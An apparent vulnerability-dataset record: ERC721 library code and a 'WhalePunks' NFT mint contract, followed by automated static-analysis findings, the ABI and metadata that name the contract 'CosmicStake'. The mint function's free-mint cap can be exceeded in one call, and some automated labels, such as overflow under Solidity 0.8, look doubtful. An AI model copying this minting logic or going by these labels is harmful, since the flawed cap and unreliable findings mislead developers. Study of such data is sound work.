Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/WhalePunks.sol pragma solidity ^0.8.0; contract WhalePunks is ERC721, Ownable { bool public saleIsActive = false; string private _baseURIextended; address payable public immutable shareholderAddress; string public PROVENANCE; uint256 public publicTokenPrice = 0.01 ether; uint public maxPerTx = 20; uint public maxFreeMintPerWallet = 10; uint public amountAvailableFreeMint = 1111; uint public maxSupply = 5555; mapping(address => uint) public addressFreeMinted; using Counters for Counters.Counter; Counters.Counter private _tokenSupply; constructor(address payable shareholderAddress_) ERC721("Whale Punks", "WHALE") { require(shareholderAddress_ != address(0)); shareholderAddress = shareholderAddress_; } function totalSupply() public view returns (uint256 supply) { return _tokenSupply.current(); } function setBaseURI(string memory baseURI_) external onlyOwner() { _baseURIextended = baseURI_; } function setProvenance(string memory provenance) public onlyOwner { PROVENANCE = provenance; } function _baseURI() internal view virtual override returns (string memory) { return _baseURIextended; } function setSaleState(bool newState) public onlyOwner { saleIsActive = newState; } function isSaleActive() external view returns (bool) { return saleIsActive; } function updatePublicPrice(uint256 newPrice) public onlyOwner { publicTokenPrice = newPrice; } function mint(uint numberOfTokens) external payable { require(saleIsActive, "Sale is inactive."); require(numberOfTokens <= maxPerTx, "You can only mint 20 at a time."); require(_tokenSupply.current() + numberOfTokens <= maxSupply, "Purchase would exceed max supply of tokens"); if (_tokenSupply.current() + numberOfTokens > amountAvailableFreeMint) { require((publicTokenPrice * numberOfTokens) == msg.value, "Don't send over or under (in ETH)."); } else { require(msg.value == 0, "Don't send ether for the free mint."); require(addressFreeMinted[msg.sender] < maxFreeMintPerWallet, "You can only claim 10 free whales."); } addressFreeMinted[msg.sender] += numberOfTokens; for(uint i = 0; i < numberOfTokens; i++) { uint256 _tokenId = _tokenSupply.current() + 1; _safeMint(msg.sender, _tokenId); _tokenSupply.increment(); } } function withdraw() public onlyOwner { uint256 balance = address(this).balance; Address.sendValue(shareholderAddress, balance); } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1237"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["413"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["91", "215", "69"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["772"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["201", "776", "175", "190", "567", "1087"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1229", "1236", "1053", "1054", "1021", "995", "1238"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [1112, 1110, 1111]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [435, 436, 437, 438]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [1179]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [1177]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [1178]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [1180]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [1162]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [336, 337, 338, 339, 340, 341, 342]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [406, 407, 408, 409, 410, 411, 412, 413, 414, 415]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [96, 97, 98, 87, 88, 89, 90, 91, 92, 93, 94, 95]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [1024, 1025, 1026, 1027, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [396, 397, 398]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [41, 42, 43]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 350, 351]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [33, 34, 35, 36, 37, 38, 39]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [138, 139, 140]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [369, 370, 371]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [816, 814, 815]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [320, 321, 322, 323, 317, 318, 319]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [384, 385, 386, 387, 388, 379, 380, 381, 382, 383]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WhalePunks.sol": [307, 308, 309]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [1244, 1245, 1246, 1247]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [795, 796, 797]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [197, 198, 199]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [802, 803, 804, 805, 806, 807]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [1203, 1204, 1205]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [873, 874, 875, 876, 877, 878, 879]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [1195, 1196, 1197]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [864, 865, 866, 867, 868, 859, 860, 861, 862, 863]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [208, 205, 206, 207]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [788, 789, 790]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [1211, 1212, 1213]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [771, 772, 773, 774]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [1219, 1220, 1221]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WhalePunks.sol": [845, 846, 847]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [1162]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [226]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [121]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [451]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [481]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [685]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [148]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [540]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [509]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [714]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [5]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [51]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [413]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [359]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [386]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [285]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"WhalePunks.sol": [1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [1174]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WhalePunks.sol": [888]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"WhalePunks.sol": [1107]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"WhalePunks.sol": [1105]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"WhalePunks.sol": [1111]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"WhalePunks.sol": [1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 108, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 198, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 972, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 993, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1000, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1016, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1019, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1026, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1051, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 1168, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 51, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 121, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 148, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 226, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 451, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 481, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 509, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 540, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 685, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 714, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1162, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 57, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 164, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 733, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 736, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 739, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 742, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 745, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 748, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1171, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1186, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1107, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 138, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1110, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 171, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 282, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 753, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1190, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 282, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 282, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 283, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 283, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 283, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 283, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 285, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 285, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 285, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1190, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1190, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1191, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1191, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1191, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1192, "severity": 1}]
[{"inputs":[{"internalType":"address payable","name":"shareholderAddress_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"PROVENANCE","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"addressFreeMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"amountAvailableFreeMint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSaleActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxFreeMintPerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"numberOfTokens","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"publicTokenPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saleIsActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"provenance","type":"string"}],"name":"setProvenance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newState","type":"bool"}],"name":"setSaleState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"shareholderAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"supply","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newPrice","type":"uint256"}],"name":"updatePublicPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.8.7+commit.e28d00a7
false
200
000000000000000000000000030cc63ba086422d8d9fd7f8f526576befe221b2
Default
MIT
false
ipfs://11b04f11f01af9dbe3131d93c8624394482758139c7d551fdb13d82604e40671
CosmicStake
0x1ac25698fc33cd12c13925b9f2b0713ae3eb534c
Solidity
